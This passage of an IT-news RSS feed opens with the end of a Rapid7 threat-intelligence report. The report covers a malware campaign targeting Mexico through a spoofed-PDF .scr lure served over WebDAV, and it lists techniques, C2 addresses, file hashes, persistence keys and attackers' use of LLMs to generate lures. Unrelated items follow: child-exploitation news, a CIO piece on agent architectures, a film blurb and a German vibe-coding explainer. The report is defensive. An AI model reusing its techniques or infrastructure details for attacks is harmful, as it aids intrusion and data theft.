21 and June 24 before dropping sharply. Based on this data we can assume that it was a targeted delivery campaign.</span></p><p><span>Most of the launch activity came from one specific lure: a CURP-themed fake PDF report under the </span><span><span data-type="inlineCode">/Downloads/CURP/ReportFinal.rcs.pdf</span></span><span> (RTLO-spoofed </span><span><span data-type="inlineCode">.scr</span></span><span> executable.) Out of 2,441 observed executable launch events, 2,384, or approximately 97.7%, were tied to this lure. It accounted for approximately 14.6 GB of traffic and was accessed by 1,869 unique client IPs.</span></p><p><span>The WebDAV traffic was heavily concentrated in Mexico. Mexico generated 63,622 requests, representing 82.5% of all traffic, and 2,365 launch events, or approximately 96.9% of all observed launches. The next largest sources of traffic, including the United States and Germany, produced far fewer launch events and appeared more consistent with scanning, research, or automated retrieval.</span></p><p><em></em></p><table><colgroup data-width="1250"><col><col><col><col><col></colgroup><tbody><tr><td><p><span><strong>Country</strong></span></p></td><td><p><span><strong>Requests</strong></span></p></td><td><p><span><strong>Share of requests</strong></span></p></td><td><p><span><strong>Unique client IPs</strong></span></p></td><td><p><span><strong>Launch events</strong></span></p></td></tr><tr><td><p><span>Mexico</span></p></td><td><p><span>63,622</span></p></td><td><p><span>82.5%</span></p></td><td><p><span>2,698</span></p></td><td><p><span>2,365</span></p></td></tr><tr><td><p><span>United States</span></p></td><td><p><span>4,032</span></p></td><td><p><span>5.2%</span></p></td><td><p><span>463</span></p></td><td><p><span>47</span></p></td></tr><tr><td><p><span>Germany</span></p></td><td><p><span>2,751</span></p></td><td><p><span>3.6%</span></p></td><td><p><span>59</span></p></td><td><p><span>1</span></p></td></tr><tr><td><p><span>United Kingdom</span></p></td><td><p><span>645</span></p></td><td><p><span>0.8%</span></p></td><td><p><span>40</span></p></td><td><p><span>0</span></p></td></tr><tr><td><p><span>Netherlands</span></p></td><td><p><span>532</span></p></td><td><p><span>0.7%</span></p></td><td><p><span>49</span></p></td><td><p><span>1</span></p></td></tr><tr><td><p><span>France</span></p></td><td><p><span>407</span></p></td><td><p><span>0.5%</span></p></td><td><p><span>21</span></p></td><td><p><span>0</span></p></td></tr><tr><td><p><span>Finland</span></p></td><td><p><span>401</span></p></td><td><p><span>0.5%</span></p></td><td><p><span>6</span></p></td><td><p><span>10</span></p></td></tr><tr><td><p><span>Brazil</span></p></td><td><p><span>343</span></p></td><td><p><span>0.4%</span></p></td><td><p><span>41</span></p></td><td><p><span>0</span></p></td></tr><tr><td><p><span>Republic of Korea</span></p></td><td><p><span>312</span></p></td><td><p><span>0.4%</span></p></td><td><p><span>16</span></p></td><td><p><span>1</span></p></td></tr></tbody></table><p><span><em>Table 3: Geographic distribution of WebDAV delivery activity.</em></span></p><p><span><em></em></span></p><p><span>Mexico was not only the largest source of traffic, but also the source of nearly all observed launch activity. Within Mexico, the activity was geographically broad, spanning hundreds of cities rather than clustering around a single locality. The top five Mexican cities accounted for approximately 27.4% of Mexican launch events, with Mexico City alone accounting for approximately 15.7%.</span></p><p><span>Hourly requests to the WebDAV delivery service also supported the assessment that much of the traffic came from real user interaction rather than only automated internet scanners. Traffic peaked between 16:00 and 19:00 UTC, which corresponds to working hours in central Mexico.</span></p><p><span>By launch events, we mean cases where the WebDAV panel showed that a client opened or requested an executable file in a way that looked like an attempted run, such as a </span><span><span data-type="inlineCode">GET</span></span><span> request for an </span><span><span data-type="inlineCode">.scr</span></span><span> or </span><span><span data-type="inlineCode">.exe</span></span><span> file from the delivery share. This does not mean we confirmed malware execution on the endpoint. It means the delivery infrastructure saw the file being accessed or invoked.</span></p><h2>Protocol behavior</h2><p><span>The HTTP methods and status codes show how clients interacted with the WebDAV delivery service. </span><span><span data-type="inlineCode">PROPFIND</span></span><span> requests and </span><span><span data-type="inlineCode">207</span></span><span> responses indicate directory browsing, which is typical when Windows Explorer accesses a remote WebDAV location. </span><span><span data-type="inlineCode">GET</span></span><span> requests and </span><span><span data-type="inlineCode">200</span></span><span> responses show file retrieval, including executable files opened or requested from the share.</span></p><p><span></span></p><table><colgroup data-width="500"><col><col></colgroup><tbody><tr><td><p><span><strong>Method</strong></span></p></td><td><p><span><strong>Count</strong></span></p></td></tr><tr><td><p><span>PROPFIND</span></p></td><td><p><span>57,287</span></p></td></tr><tr><td><p><span>GET</span></p></td><td><p><span>13,088</span></p></td></tr><tr><td><p><span>OPTIONS</span></p></td><td><p><span>6,597</span></p></td></tr><tr><td><p><span>PROPPATCH</span></p></td><td><p><span>125</span></p></td></tr><tr><td><p><span>LOCK</span></p></td><td><p><span>1</span></p></td></tr></tbody></table><p><span><em>Table 4: HTTP methods observed in WebDAV delivery traffic.</em></span></p><p><span><em></em></span></p><table><colgroup data-width="500"><col><col></colgroup><tbody><tr><td><p><span><strong>Status</strong></span></p></td><td><p><span><strong>Count</strong></span></p></td></tr><tr><td><p><span>207</span></p></td><td><p><span>57,412</span></p></td></tr><tr><td><p><span>200</span></p></td><td><p><span>19,532</span></p></td></tr><tr><td><p><span>206</span></p></td><td><p><span>154</span></p></td></tr></tbody></table><p><span><em>Table 5: HTTP status codes observed in WebDAV delivery traffic.</em></span></p><h2><span>MITRE ATT&amp;CK techniques</span></h2><table><colgroup data-width="1010"><col><col><col></colgroup><tbody><tr><td><p><span><strong>Name</strong></span></p></td><td><p><span><strong>MITRE ATT&amp;CK technique</strong></span></p></td><td><p><span><strong>Code</strong></span></p></td></tr><tr><td><p><span>Payload execution</span></p></td><td><p><span>User Execution: Malicious File</span></p></td><td><p><span>T1204.002</span></p></td></tr><tr><td><p><span>Masquerading</span></p></td><td><p><span>Right-to-Left Override</span></p></td><td><p><span>T1036.002</span></p></td></tr><tr><td><p><span>Masquerading</span></p></td><td><p><span>Double File Extension</span></p></td><td><p><span>T1036.007</span></p></td></tr><tr><td><p><span>DLL sideloading</span></p></td><td><p><span>Hijack Execution Flow: DLL</span></p></td><td><p><span>T1574.001</span></p></td></tr><tr><td><p><span>Obfuscation</span></p></td><td><p><span>Encrypted/Encoded File</span></p></td><td><p><span>T1027.013</span></p></td></tr><tr><td><p><span>Payload unpacking</span></p></td><td><p><span>Deobfuscate/Decode Files or Information</span></p></td><td><p><span>T1140</span></p></td></tr><tr><td><p><span>Payload carrier</span></p></td><td><p><span>Steganography / image-carried payload data</span></p></td><td><p><span>T1027.003</span></p></td></tr><tr><td><p><span>API hiding</span></p></td><td><p><span>Dynamic API Resolution</span></p></td><td><p><span>T1027.007</span></p></td></tr><tr><td><p><span>In-memory loading</span></p></td><td><p><span>Reflective Code Loading</span></p></td><td><p><span>T1620</span></p></td></tr><tr><td><p><span>Injection</span></p></td><td><p><span>Process Hollowing</span></p></td><td><p><span>T1055.012</span></p></td></tr><tr><td><p><span>Native API use</span></p></td><td><p><span>Native API</span></p></td><td><p><span>T1106</span></p></td></tr><tr><td><p><span>Sandbox evasion</span></p></td><td><p><span>Time Based Evasion</span></p></td><td><p><span>T1497.003</span></p></td></tr><tr><td><p><span>Anti-analysis</span></p></td><td><p><span>Debugger / instrumentation checks</span></p></td><td><p><span>T1622</span></p></td></tr><tr><td><p><span>UAC bypass</span></p></td><td><p><span>Bypass User Account Control</span></p></td><td><p><span>T1548.002</span></p></td></tr><tr><td><p><span>Persistence</span></p></td><td><p><span>Registry Run Keys / Startup Folder</span></p></td><td><p><span>T1547.001</span></p></td></tr><tr><td><p><span>Persistence</span></p></td><td><p><span>Scheduled Task</span></p></td><td><p><span>T1053.005</span></p></td></tr><tr><td><p><span>Collection</span></p></td><td><p><span>Keylogging</span></p></td><td><p><span>T1056.001</span></p></td></tr><tr><td><p><span>Collection</span></p></td><td><p><span>Screen Capture</span></p></td><td><p><span>T1113</span></p></td></tr><tr><td><p><span>Collection</span></p></td><td><p><span>Clipboard Data</span></p></td><td><p><span>T1115</span></p></td></tr><tr><td><p><span>Credential access</span></p></td><td><p><span>Credentials from Web Browsers</span></p></td><td><p><span>T1555.003</span></p></td></tr><tr><td><p><span>Credential access</span></p></td><td><p><span>Steal Web Session Cookie</span></p></td><td><p><span>T1539</span></p></td></tr><tr><td><p><span>Collection</span></p></td><td><p><span>Data from Local System</span></p></td><td><p><span>T1005</span></p></td></tr><tr><td><p><span>Collection</span></p></td><td><p><span>Automated Collection</span></p></td><td><p><span>T1119</span></p></td></tr><tr><td><p><span>Staging</span></p></td><td><p><span>Archive Collected Data: Archive via Utility</span></p></td><td><p><span>T1560.001</span></p></td></tr><tr><td><p><span>C2</span></p></td><td><p><span>Encrypted Channel</span></p></td><td><p><span>T1573</span></p></td></tr><tr><td><p><span>Exfiltration</span></p></td><td><p><span>Exfiltration Over C2 Channel</span></p></td><td><p><span>T1041</span></p></td></tr><tr><td><p><span>Possible persistence</span></p></td><td><p><span>WMI Event Subscription</span></p></td><td><p><span>T1546.003</span></p></td></tr><tr><td><p><span>Phishing lure generation</span></p></td><td><p><span>Generate Phishing Lures</span></p></td><td><p><span>AML.T0052</span></p></td></tr><tr><td><p><span>Resource Development</span></p></td><td><p><span>Resource Development</span></p></td><td><p><span>AML.TA0003</span></p></td></tr><tr><td><p><span>Obtain capabilities via LLM tooling</span></p></td><td><p><span>Obtain Capabilities</span></p></td><td><p><span>AML.T0016</span></p></td></tr><tr><td><p><span>LLM-assisted capability development</span></p></td><td><p><span>Develop Capabilities</span></p></td><td><p><span> AML.T0017</span></p></td></tr><tr><td><p><span>LLM prompt crafting for attack documentation</span></p></td><td><p><span>LLM Prompt Crafting</span></p></td><td><p><span>AML.T0065</span></p></td></tr><tr><td><p><span>Obtain capabilities via tooling</span></p></td><td><p><span>Obtain Capabilities: Software Tools</span></p></td><td><p><span>AML.T0016.001</span></p></td></tr></tbody></table><h2><span>Indicators of compromise (IOCs)</span></h2><h3>CURP campaign</h3><p>Phishing page: hxxps://gobf[.]mx </p><p>WebDav server: onedrive[.]cv</p><p></p><p>ReportFinal.&lt;RLO&gt;.scr    SHA256 04A8018191F2E9E76072D072A933371D9D669A42DE2B2A087541CD3A653B0BA7</p><p></p><p>C2: 77.110.127.205 ports 56001-56003 / 57666 / 57777 / 57888</p><p>Domain: google.services[.]ug</p><p>Campaign tag:06x12x2026SantaEbash2  (v4.4.3)</p><p>Schedule tasks: brokerhost, net_queue_32</p><p></p><p>Staging paths:</p><p>%TEMP%\is-XXXXX.tmp\Fo-Binary.exe </p><p>%AppData%\Roaming\inttracer_i686_prod\      </p><p> C:\ProgramData\inttracer_i686_prod\</p><h3>DlrtyGames campaign </h3><p>C2: 23[.]94[.]252[.]228:57666</p><p>JA3: fc54e0d16d9764783542f0146a98b300</p><p>DlrtyGames.exe</p><p>SHA256: e8be17a7fbef48b45f1e958b3ae5ebdfcad58808969982c431a905eefcae5268</p><p>discord-rpc.x64.dll</p><p>SHA256: 449d1121fa275879af22a20407aa7253ac750ac8fa7ff5691101752600d645df</p><p>profiler16.dll</p><p>SHA256: a88f5ee748e60f889d046718bfe3ddcf1c5f3cba2001cad587e8953a76bf7aa9</p><p>loader-pool.db</p><p>SHA256: 51a02eccdcae0483c7cbb9796738eee6c2a13b740d30e5417cda09bf418ea93b</p><p>.NET RAT</p><p>SHA256: 82e67735cf822db8f2f759e742e5bf8c54fdbd01a4170619b9e0916e1b3f5923</p><p>Staging paths:</p><p>C:\ProgramData\basenet\</p><p>%APPDATA%\basenet\</p><p>Persistence:</p><p>HKCU\Software\Microsoft\Windows\CurrentVersion\Run\XNNNMHJAZNCNHGIKJDW</p><p>\com_app_bg_i686</p><p>\messenger_component_v8_32_rc</p><p></p><p>More indicators of compromise can be found on Rapid7’s <a href="https://github.com/rapid7/Rapid7-Labs/tree/main/IOCs/Simba%20Panel" target="_blank">GitHub</a>.</p><h2>Rapid7 customers</h2><p>Customers using Rapid7’s Intelligence Hub gain direct access to all IOCs from this campaign, including any future indicators as they are identified.</p><h2>Conclusion</h2><p><span>The operator’s OPSEC failed in the best way possible for defenders. Thanks to a completely exposed server, we managed to pull down their entire operational toolkit: staged payloads, lure templates, testing files, builder notes, and active campaign artifacts. This sloppiness effectively offered a rare, transparent view of their end-to-end delivery pipeline rather than just the final malware it served.</span></p><p><span>The real impact shows up in speed and scale. The actor generated lure variants in bulk, tested them systematically, documented results, and refined delivery techniques in short cycles. The artifacts also suggested that attackers used LLM for rapid lure generation and development since their cPanel was vibecoded. </span></p><p><span>While the fact that attackers are adopting genAI in their workflows is nothing new, looking past the novelty reveals a much more practical shift in adversary operations.</span></p><p><span>The takeaway isn’t that “AI wrote the malware.” It’s that the attacker used LLMs to operate more like a modern software product team. The use of genAI enables them to prototype, test, and scale their delivery pipeline at a fast pace.</span></p>]]></content:encoded>
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<title><![CDATA[Experts warn of rise in sadistic online exploitation of vulnerable children]]></title>
<description><![CDATA[Global increase in cases of predators coercing children to harm themselves or produce child sexual abuse materialCases of predators coercing children into producing sexual photos and videos of themselves have surged globally in the past year, a cruel phenomenon known as “sadistic online exploitat...]]></description>
<link>https://tsecurity.de/de/3680974/it-nachrichten/experts-warn-of-rise-in-sadistic-online-exploitation-of-vulnerable-children/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3680974/it-nachrichten/experts-warn-of-rise-in-sadistic-online-exploitation-of-vulnerable-children/</guid>
<pubDate>Mon, 20 Jul 2026 13:17:16 +0200</pubDate>
<category>📰 IT Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p>Global increase in cases of predators coercing children to harm themselves or produce child sexual abuse material</p><p>Cases of predators coercing children into producing sexual photos and videos of themselves have surged globally in the past year, a cruel phenomenon known as “sadistic online exploitation”, child safety experts and law enforcement officials warn.</p><p>In cases of sadistic online exploitation, perpetrators target vulnerable teens on social media platforms and online games. These predators then compel their victims into producing child sexual abuse material (CSAM), harming themselves and others, or, in extreme cases, attempting suicide.</p><p><em>In the US, call or text the <a href="https://www.childhelp.org/hotline/">Childhelp</a> abuse hotline on 800-422-4453 or visit <a href="https://www.childhelphotline.org/">their website</a> for more resources and to report child abuse or DM for help. For adult survivors of child abuse, help is available at <a href="https://www.ascasupport.org/">ascasupport.org</a>. In the UK, the <a href="https://www.nspcc.org.uk/">NSPCC</a> offers support to children on 0800 1111, and adults concerned about a child on 0808 800 5000. The National Association for People Abused in Childhood (<a href="https://napac.org.uk/">Napac</a>) offers support for adult survivors on 0808 801 0331. In Australia, children, young adults, parents and teachers can contact the Kids Helpline on 1800 55 1800, or <a href="https://bravehearts.org.au/">Bravehearts</a> on 1800 272 831, and adult survivors can contact <a href="https://www.blueknot.org.au/">Blue Knot Foundation</a> on 1300 657 380. Other sources of help can be found at <a href="https://www.childhelplineinternational.org/child-helplines/child-helpline-network/">Child Helplines International</a></em></p> <a href="https://www.theguardian.com/technology/2026/jul/20/online-exploitation-children-warning">Continue reading...</a>]]></content:encoded>
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<title><![CDATA[The 6 kinds of AI agent architectures]]></title>
<description><![CDATA[Somewhere in the last eighteen months, “AI agent” stopped being a useful term. CIOs may even be afraid to ask what “agent” truly means, as it now seems to describe everything from a chatbot that answers HR questions to an autonomous research system that plans its own week of work. When a single p...]]></description>
<link>https://tsecurity.de/de/3680680/it-security-nachrichten/the-6-kinds-of-ai-agent-architectures/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3680680/it-security-nachrichten/the-6-kinds-of-ai-agent-architectures/</guid>
<pubDate>Mon, 20 Jul 2026 11:09:07 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
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<p class="wp-block-paragraph">Somewhere in the last eighteen months, “AI agent” stopped being a useful term. CIOs may even be afraid to ask what “agent” truly means, as it now seems to describe everything from a chatbot that answers HR questions to an autonomous research system that plans its own week of work. When a single phrase carries that much weight, well, it stops carrying any.</p>



<p class="wp-block-paragraph">I’ve spent the last three years inside hundreds of enterprise AI deployments, and the factor that separates the programs scaling elegantly from the ones still shuffling is often the CIO’s architectural fluency: The ability to look at business problems across the organization and recognize, on sight, what kind of AI architecture is the right fit. In my experience there are six archetypes, each with their own nuances, that CIOs should internalize to make well-informed decisions going forward.</p>



<h2 class="wp-block-heading">1. The conversational assistant</h2>



<p class="wp-block-paragraph">The first, and the one most enterprises meet first, is the conversational assistant: The chat-based partner that an employee or customer opens when they want to think out loud. <a href="https://www.deloitte.com/us/en/what-we-do/capabilities/applied-artificial-intelligence/content/state-of-ai-in-the-enterprise.html?id=us:2ps:3gl:aisgm26:awa:CONS:em:K0218784:012626:kwd-430833501819:195648817121:794247818306::&amp;gclsrc=aw.ds&amp;gad_source=1&amp;gad_campaignid=23269751971&amp;gbraid=0AAAAADenGPCB8F-Mx6GhUt0V1PWpgLqtw&amp;gclid=Cj0KCQjwi8nRBhDhARIsAHZf_pYktgKgYgYBAR6AcMikwdYOF7q6S3WaLiLYg2hwhvdCjRiqajxnqtkaAsdYEALw_wcB">Deloitte found that 38%</a> of organizations report AI is already strengthening their client or customer relationships. This is the architecture people fall in love with: A well-designed assistant with constantly updated information, persistent user-level memory, tools that can act on behalf of users, and citations on every factual claim becomes a useful problem-solver that’s available at any hour of the day.</p>



<p class="wp-block-paragraph">A global law firm I work with deployed an internal assistant that gives every attorney instant access to the firm’s accumulated precedent, memos and prior matter work. Associates who used to spend the first hour of a research task hunting through document management systems now start with a grounded, citation-backed answer and refine from there. This helped the firm’s institutional knowledge, previously locked in the heads of senior partners, become queryable by anyone with a deadline at 11 p.m., or later.</p>



<p class="wp-block-paragraph">A second example: A mid-market wealth management firm built a client-facing assistant that handles portfolio questions, statement explanations and routine servicing requests. The assistant draws from each client’s actual holdings, recent activity and the firm’s published market commentary, with citations linking back to source documents. Advisors stopped being interrupted for the questions that didn’t require an advisor, and clients got answers on a Sunday.</p>



<h2 class="wp-block-heading">2. The triggered workflow</h2>



<p class="wp-block-paragraph">Another pattern producing the value across the enterprises I work with is something that runs silently: An email arrives, a ticket is created, a file lands in a folder and the agent executes a process utilizing both reasoning and determinism. These agents don’t even require user adoption, because they’re invisible to the end user. They produce measurable outcomes, but fit cleanly into the audit and change-control processes IT teams have run for decades.</p>



<p class="wp-block-paragraph">A commercial insurer I advise built a triggered workflow for inbound submissions. Every broker email that arrives at the underwriting inbox is classified by line of business, the attachments are parsed, key risk fields are extracted into the policy administration system, and a draft acknowledgment is queued for the underwriter’s review. Seemingly overnight, the inbox began arriving pre-sorted, and submission throughput rose meaningfully without any change to headcount.</p>



<p class="wp-block-paragraph">Another example, this time from a private equity firm: Every inbound confidential information memorandum (CIM) that hits the deal team’s shared inbox triggers a workflow that extracts the financial summary, screens it against the firm’s investment criteria, drafts a preliminary memo and posts the result into the deal-tracking system. Associates still make the call on what to pursue, but the first three hours of manual work on each opportunity now happen before anyone even opens the file.</p>



<h2 class="wp-block-heading">3. The autonomous agent — with sub-agents</h2>



<p class="wp-block-paragraph">Here we have the architecture that gets the most conference attention: The autonomous agent, given a task and left to plan its own steps by utilizing its own sub-agents. Autonomous agents are not one-size-fits-all, but they do meet a specific need: Multi-source research, complex cross-system lookups, deep-dive investigations. All of these are processes where the path isn’t usually specified in advance, but the tools are. With the right design discipline, an autonomous agent feels like having a self-sufficient teammate who can call in the right resources and specialists if needed.</p>



<p class="wp-block-paragraph">A global consulting firm I work with uses an autonomous research agent for early-stage engagement scoping. Given a target company and a strategic question, the agent decides for itself which sub-agents to consult (choosing from internal proprietary databases, prior engagement archives, licensed market data, public filings) and produces a structured briefing with its reasoning chain attached.</p>



<p class="wp-block-paragraph">Another large technology company I know of deployed an autonomous agent for cross-system incident investigation. When a production alert fires, the agent forms a hypothesis, queries the necessary sub-agents with relevant monitoring tools, log stores and deployment systems, and follows the trail until it reaches a defensible root-cause summary to surface to an engineer.</p>



<h2 class="wp-block-heading">4. The multi-agent team</h2>



<p class="wp-block-paragraph">The fourth pattern is where the next wave of enterprise quality gains is going to come from. <a href="https://www.databricks.com/resources/ebook/state-of-ai-agents">According to Databricks</a>, usage of multi-agent systems grew 327% in just four months as enterprises moved beyond single chatbots. Several specialized agents, each with its own role and toolset, coordinate through a shared protocol: A researcher and a writer, a planner and a set of executors, a proposer and a critic. The proposer-critic feedback loop is one of the smartest techniques in agent design today. One model produces an answer; a second, with a different prompt and often a different provider, evaluates it against explicit criteria. For compliance review, contract analysis, high-stakes classification and any output that will be audited, this second pass is extremely helpful and mirrors how human teams work.</p>



<p class="wp-block-paragraph">A global bank I work with uses a multi-agent system for marketing and communications review. One agent drafts client-facing copy, a second checks it against the firm’s regulatory and brand guidelines and a third checks it against jurisdiction-specific disclosure rules. Disagreements among the agents are surfaced to a human reviewer with the specific clauses flagged. The compliance team stopped being the bottleneck on every routine piece of copy and started focusing on the high-judgment cases instead.</p>



<p class="wp-block-paragraph">The next example: A pharmaceutical company built a multi-agent workflow for medical literature summarization. A retriever agent gathers candidate studies, a reader agent extracts study design and findings, a critic agent challenges the reader’s claims against the source text, and a synthesizer agent composes the final brief. The proposer-critic loop in the middle is the reason the medical affairs team trusts the output enough to act on it.</p>



<h2 class="wp-block-heading">5. The human-in-the-loop (HITL) agent</h2>



<p class="wp-block-paragraph">The fifth pattern is the one I think we’ll see increasingly more of in the future. While many see “full automation” as the goal, the right target is actually to let the agent handle the 80% of a task that is mechanical, while preserving human judgment at the most critical moments. This is achievable via human-in-the-loop (HITL) agents. <a href="https://www.moodys.com/web/en/us/insights/ai/human-in-the-loop-why-human-oversight-still-matters-in-ai-driven-risk-and-compliance.html">According to Moody’s, 42%</a> of compliance professionals believe that human oversight is mandatory, and I agree: AI should run <em>right</em>, by getting approval and review before any sensitive business action is taken. HITL is the architecture that can help turn a skeptical team into an enthusiastic one.</p>



<p class="wp-block-paragraph">A regional health system I worked with uses a HITL agent for prior-authorization letters. The agent assembles the clinical evidence, drafts the letter against the relevant payer’s criteria, and routes it to a nurse case manager for review inside the existing workflow tool. The nurse approves, edits or rejects in seconds rather than minutes, and every edit helps make the next draft better.</p>



<p class="wp-block-paragraph">A property management company uses a HITL agent to run its maintenance work orders. When a tenant emails about a problem (an HVAC unit that died overnight, say), the agent pulls the structured details (tenant, unit, issue type, urgency), matches the job to the right vendor from the directory, and drafts the work order. A team member approves it in Slack before anything goes out. From there the agent emails the vendor with the full order, confirms with the tenant that someone is on the way and updates Airtable, closing the loop completely.</p>



<h2 class="wp-block-heading">6. The scheduled agent</h2>



<p class="wp-block-paragraph">On a set schedule or against a batch of inputs, this agent runs the same defined task: Produce a report, refresh a dataset, monitor a set of sources or summarize a period of activity. Under this archetype, unsexy work gets done consistently, integrated into existing operational rhythms like the Monday morning meeting, the daily standup and the monthly board deck, without asking anyone to change their behavior. This is the architecture that shifts AI from feeling like even more work, to a seamless teammate that just works.</p>



<p class="wp-block-paragraph">A private equity firm I work with runs a scheduled agent every Monday at 6 a.m. that monitors news, filings and earnings activity across every portfolio company and produces a single PDF that lands in the deal partners’ inboxes before the weekly investment meeting. No one logs into a dashboard. The agent shows up, on time, with the same format every week, and the meeting now starts from a shared baseline rather than from whatever each partner happened to read over the weekend.</p>



<p class="wp-block-paragraph">A second example: A global manufacturer runs a nightly batch agent that ingests the day’s quality-control reports across plants, summarizes anomalies against a rolling baseline, and produces an end-of-shift handoff document for each site lead’s morning. The agent doesn’t flag emergencies, but it ensures that the slow-moving patterns no human would catch reading one shift’s data in isolation get surfaced.</p>



<h2 class="wp-block-heading">Bringing it together</h2>



<p class="wp-block-paragraph">None of these six archetypes is more advanced than the others or inherently better. But CIOs can have an edge by choosing the one that the operational problem actually calls for.</p>



<p class="wp-block-paragraph">Before you scope a single deployment, you should be able to look at a business problem and name its shape: Is this a question someone needs answered in the moment, or a process that should run the instant a trigger fires? Does the path need to be discovered, or is it known in advance and just waiting to be executed? Where, exactly, does human judgment have to stay in the loop, and where is it just friction?</p>



<p class="wp-block-paragraph">Going forward, CIOs should start treating the architecture decision as the first design choice. Everything downstream — adoption, governance, trust — only gets easier if the architecture is the right fit.</p>



<p class="wp-block-paragraph"><strong>This article is published as part of the Foundry Expert Contributor Network.</strong><br><a href="https://www.cio.com/expert-contributor-network/"><strong>Want to join?</strong></a></p>
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<title><![CDATA[Captain Price auf der Leinwand? Der CoD-Film bestätigt das Setting – doch beim Cast bleibt es spannend]]></title>
<description><![CDATA[Der „Call of Duty"-Film nimmt Formen an: der Kinostart steht, das Setting ist bestätigt, und mit dem „Sicario"-Autor am Drehbuch stimmt auch die kreative Richtung. Doch wen werden wir vor der Kamera sehen?]]></description>
<link>https://tsecurity.de/de/3680454/it-nachrichten/captain-price-auf-der-leinwand-der-cod-film-bestaetigt-das-setting-doch-beim-cast-bleibt-es-spannend/</link>
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<pubDate>Mon, 20 Jul 2026 09:03:15 +0200</pubDate>
<category>📰 IT Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[Der „Call of Duty"-Film nimmt Formen an: der Kinostart steht, das Setting ist bestätigt, und mit dem „Sicario"-Autor am Drehbuch stimmt auch die kreative Richtung. Doch wen werden wir vor der Kamera sehen?]]></content:encoded>
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<title><![CDATA[Vibe Coding erklärt]]></title>
<description><![CDATA[Vibe Coding verspricht viele KI-getriebene Vorteile, macht Softwareentwickler jedoch nicht überflüssig – eher im Gegenteil.Fit Ztudio | shutterstock.com



Im Dev-Umfeld verschwimmt die Grenze zwischen Programmieren und Prompten schon seit einigen Jahren. Auf die Spitze getrieben wird diese Entwi...]]></description>
<link>https://tsecurity.de/de/3680298/it-security-nachrichten/vibe-coding-erklaert/</link>
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<pubDate>Mon, 20 Jul 2026 07:54:16 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<div>
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<div class="extendedBlock-wrapper block-coreImage undefined"><figure class="wp-block-image size-large"><img loading="lazy" src="https://b2b-contenthub.com/wp-content/uploads/2025/11/Fit-Ztudio_shutterstock_2642655115_16z9.jpg?quality=50&amp;strip=all&amp;w=1024" alt="Code Review Dev 16z9" class="wp-image-4086782" width="1024" height="576" sizes="auto, (max-width: 1024px) 100vw, 1024px"><figcaption class="wp-element-caption">Vibe Coding verspricht viele KI-getriebene Vorteile, macht Softwareentwickler jedoch nicht überflüssig – eher im Gegenteil.</figcaption></figure><p class="imageCredit">Fit Ztudio | shutterstock.com</p></div>



<p class="wp-block-paragraph">Im Dev-Umfeld verschwimmt die Grenze zwischen Programmieren und Prompten schon seit einigen Jahren. Auf die Spitze getrieben wird diese Entwicklung vom <a href="https://www.computerwoche.de/article/3854442/vibe-coding-im-selbstversuch.html" target="_blank">Vibe-Coding-Trend</a>: Frühe KI-Entwickler-Tools wie GitHub Copilot waren vornehmlich darauf ausgelegt, Devs zu unterstützen. Etwa, indem sie Funktionen und Syntax ergänzten oder Boilerplate-Code aus Kommentaren generierten. Kommt ein Vibe-Coding-Ansatz zum Zug, beginnen <a href="https://www.computerwoche.de/article/2818958/was-developer-an-ihrem-job-lieben-und-hassen.html" target="_blank">menschliche Entwickler</a> hingegen gar nicht erst damit, Code zu schreiben.</p>



<p class="wp-block-paragraph">Dieses Konzept führt nicht nur zu veränderten Workflows, sondern erfordert auch, ein neues Mindset. Schließlich wird die Programmierarbeit mit <a href="https://www.computerwoche.de/article/4052859/github-spark-im-vibe-coding-test.html" target="_blank">Vibe Coding</a> eher zu einer Art Live-Prototyping. In diesem Artikel lesen Sie:</p>



<ul class="wp-block-list">
<li>warum Vibe Coding Vibe Coding heißt,</li>



<li>inwieweit sich dieser Ansatz für Unternehmen eignet,</li>



<li>wie Vibe-Coding-Workflows konkret aussehen (können),</li>



<li>welche Tools in diesem Bereich zu empfehlen sind,</li>



<li>welche Risiken Sie dabei auf dem Schirm haben sollten, sowie</li>



<li>Tipps dazu, wie Sie Vibe Coding effektiv in der Praxis umsetzen.</li>
</ul>



<h2 class="wp-block-heading">Vibe Coding – Begriffsdefinition</h2>



<p class="wp-block-paragraph">Der Begriff Vibe Coding wurde Anfang 2025 vom OpenAI-Mitbegründer <a href="https://www.linkedin.com/in/andrej-karpathy-9a650716/" target="_blank" rel="noreferrer noopener">Andrej Karpathy</a> geprägt. Der KI-Experte trat den Trend mit einem Post auf dem Kurznachrichtendienst X los.</p>



<figure class="wp-block-embed is-type-rich is-provider-x wp-block-embed-x"><div class="wp-block-embed__wrapper youtube-video">
<blockquote class="twitter-tweet" data-width="500" data-dnt="true"><p lang="en" dir="ltr">There's a new kind of coding I call "vibe coding", where you fully give in to the vibes, embrace exponentials, and forget that the code even exists. It's possible because the LLMs (e.g. Cursor Composer w Sonnet) are getting too good. Also I just talk to Composer with SuperWhisper…</p>— Andrej Karpathy (@karpathy) <a href="https://x.com/karpathy/status/1886192184808149383?ref_src=twsrc%5Etfw">February 2, 2025</a></blockquote>
</div></figure>



<p class="wp-block-paragraph">In diesem beschreibt Karpathy die Vibe-Coding-Methodik als eine neue Coding-Form, bei der man sich ganz den “Vibes” hingibt und vergisst, dass der Code überhaupt existiert. <a href="https://shadowdragon.io/author/amy-mshadowdragon-io/" target="_blank" rel="noreferrer noopener">Amy Mortlock</a>, Vice President of Marketing beim <a href="https://www.computerwoche.de/article/2795282/wie-viel-wissen-hacker-ueber-sie.html" target="_blank">OSINT</a>-Spezialisten ShadowDragon, erklärt das Konzept etwas weniger kryptisch: “Beim Vibe Coding beschreibt man in natürlicher Sprache, was man möchte, und die KI generiert dann die gesamte Anwendung und kümmert sich um alle technischen Details.”</p>



